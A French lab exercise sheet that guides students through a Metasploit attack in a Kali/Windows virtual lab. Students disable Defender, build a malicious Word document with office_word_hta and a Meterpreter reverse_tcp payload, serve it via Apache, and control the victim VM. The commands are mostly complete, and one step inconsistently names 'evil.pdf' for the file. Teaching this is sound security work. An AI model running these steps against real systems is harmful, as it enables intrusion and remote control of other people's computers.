TP N° 2

1. Lancer les deux machines virtuelles kali linux et windows , et assure la connectiviter avec la commande `ping` .
2. Desactiver windows defender et le par-feu de la machine virtuelle windows , pourquoi les desactiver ?
3. Installer office 2013 sur la machine virtuelle windows
4. On va utilier metasploit dans kali linux taper les commandes suivant :
   - `msfconsole` pour lancer l'interface de commande principale de Metasploit.
   - `use exploit/windows/fileformat/office_word_hta` pour sélectionner l'exploit qui permet d'intégrer un exécutable malveillant dans un fichier word.
   - `set payload windows/meterpreter/reverse_tcp` : définit le payload utilisé pour établir une connexion inverse (reverse shell) depuis la machine cible Windows vers Kali Linux via TCP , c'est quoi reverse shell?
   - `show options` : affiche les options actuelles du payload. Vérifiez que l'option `LHOST` correspond bien à l'adresse IP de votre machine Kali. Si ce n'est pas le cas, utilisez la commande : `set LHOST <IP_KALI>`. Assurez-vous également que `LPORT` est configuré sur 4444 , Que remarquez-vous ?
   - `exploit` : lance l'écoute et attend que la victime ouvre le fichier malveillant pour établir la connexion Meterpreter, expliquer toute les lignes que vous avez apres l'execution de cetter commande.
5. On souhaite transférer ce fichier malveillant sur la machine de la victime. Comment procéder ? Nous allons utiliser Apache pour accomplir cela. Ouvrez un terminal en tant que root sur Kali et exécutez les commandes suivantes :
   - `service apache2 start` pour démarre le serveur Apache
   - `cp <chemin/msf.doc> /var/www/html` : que fait cette commande ?
   - `ls /var/www/html` : vous devriez voir le fichier `evil.pdf` listé dans ce répertoire.
   - Depuis la machine Windows, ouvrez un navigateur et saisissez l'URL suivante : `IP_KALI/msf.doc` afin de télécharger et installer le fichier `msf.doc` , ouvrir ce dernier et cliquer sur "activer la modification".
6. Que remarquez-vous sur la machine Kali Linux ? Cliquer sur entrer et exécutez les commandes suivantes sur la machine Kali :
   - `pwd`
   - `execute -f notepad.exe`
   - `ps`
   - `kill <PID>` : permet de tuer n'importe quel processus actif sur la machine Windows depuis Kali en spécifiant son PID (Process ID).